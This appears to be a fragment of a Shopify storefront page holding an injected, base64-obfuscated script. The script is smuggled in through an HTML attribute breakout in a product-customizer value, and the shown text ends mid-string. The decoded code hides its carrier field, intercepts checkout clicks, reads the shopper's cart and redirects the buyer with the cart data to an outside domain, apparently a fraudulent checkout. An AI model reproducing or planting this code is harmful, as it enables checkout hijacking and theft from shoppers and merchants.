yaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXltZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOiAwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link href='x;">
x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3RyaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXltZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi